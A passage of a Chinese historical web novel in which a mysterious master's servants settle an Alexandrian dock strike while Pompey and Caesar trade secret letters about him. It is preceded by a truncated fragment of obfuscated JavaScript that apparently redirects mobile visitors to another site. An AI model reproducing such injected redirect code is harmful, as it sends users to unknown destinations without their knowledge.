l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17224118|197539||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 叙利亚人去了粮商聚集的市场。 努比亚人去了码头工人聚集的贫民窟。 塞恩——那个高卢女人——留在马车边,手按在腰间的短剑上,琥珀色的眼睛扫视着每一个靠近的人。 三路并进 第一路:狄奥尼修斯 总督府内,港口总督正对着堆积如山的文书发愁。一个穿着体面的希腊人求见,自称是“某位东方商人的代理人”。 “我家主人愿意出资,从叙利亚调运两船小麦,平价卖给码头工人。”狄奥尼修斯开门见山,“条件是:工人复工,总督府不得追究罢工首领。” 总督愣住:“两船小麦?那是多少钱……” “我家主人不问钱。”狄奥尼修斯微笑,“他只问秩序。港口瘫痪,他的货物也运不走。” 总督看着他,忽然问:“你家主人是做什么生意的?” 狄奥尼修斯想了想,答:“他做的是……找路的生意。” 第二路:巴克尔 粮商集会的地方,一个叙利亚面孔的年轻人挤进了人群。他没有大声说话,只是在几个最关键的老狐狸耳边,低声道: “有人愿意以比市价低三成的价格,卖给你们一批上好的阿拉伯香料。条件是——把你们手里的陈粮,按去年的平价卖给港口。” “凭什么?”一个粮商瞪眼。 年轻人从怀里掏出一封信,信封上盖着一个陌生的印章。 “凭这个印章的主人,能让阿拉伯沙漠里的骆驼商队,从此绕过你们的仓库。” 第三路:卡瓦 贫民窟里,码头工人正围在一起咒骂罗马人、埃及人、还有该死的粮价。 一个高大的努比亚人走进来,手里提着两个沉甸甸的麻袋。他把麻袋往地上一倒——黄澄澄的麦粒滚了一地。 “三天后,港口有平价粮。”他说,“每人限购一斗。条件是:明天复工。” 工人们面面相觑。 “你是谁的人?” 努比亚人想了想,指了指天。 “从东边来的。” 四、二十四小时 二十四小时后,码头复工。 总督府的告示贴满全城:即日起平价粮供应,罢工既往不咎。 粮商的仓库里,陈粮被一车车拉往港口。 工人们扛起货包,骂骂咧咧,但手里攥着新买的粮食。 没有人知道那个马车里的人是谁。只知道他派出的四个随从,像四根钉子,恰好钉在了这场危机最脆弱的四个支点上。 港口总督派人去打听,得到的回答是:马车里的人从不露面,随从们称他“主人”,但那是一种雇佣关系中的尊称——他们签的是雇佣合同,有工钱,有假期,随时可以离开。 “不是奴隶?”总督的副手惊讶。 “不是。”派去的人摇头,“我问过那个希腊人,他说他之前确实是奴隶,但主人买下他的第一天,就把卖身契撕了,然后重新签了一份雇佣合同。那个希腊人说起这事的时候,眼眶都红了。” 总督沉默了很久。 他想起了最近从罗马传来的那封密信——庞培的人正在地中海各港口布控,寻找一个叫“菲尼克斯”的逃犯。悬赏已经涨到五万第纳尔。 但他没有声张。两船小麦的恩情,值五万第纳尔吗? 他不知道。 但他知道,马车里的那个人,不是他能惹得起的。 --- 同一天,两封密信从亚历山大港发出。 一封寄往罗马,收信人:格奈乌斯·庞培·马格努斯。 内容很简单:“疑似目标出现。东方人,马车,不露面,出手阔绰,正在打探前往东方的航线。已布控,请指示。” 一封寄往高卢,收信人:盖乌斯·尤利乌斯·凯撒。 内容稍微详细些:“主人,您让我们找的人,在亚历山大港。他解决了码头罢工,用了四个仆人,自己没露面。现在住在港口区一栋租来的宅院里,每天去图书馆。我们的人在盯着,但不敢靠近——那个高卢女人太警觉。” 凯撒收到信时,正在卢格杜努姆的书房里。他看完信,沉默了很久。 然后他写了一封回信: “继续盯着,不要惊动他。如果他要离开,确保我知道方向。如果他有危险……不惜代价保护他。” 他把信交给雷克斯,又补充了一句: “盯着庞培。如果他的舰队有异动,立刻报我。” 雷克斯领命而去。 凯撒站在窗前,看着索恩河在暮色中静静流淌。 “你终于出现了。”他轻声说,“但你还不知道,你出现的地方,是全世界最危险的地方。”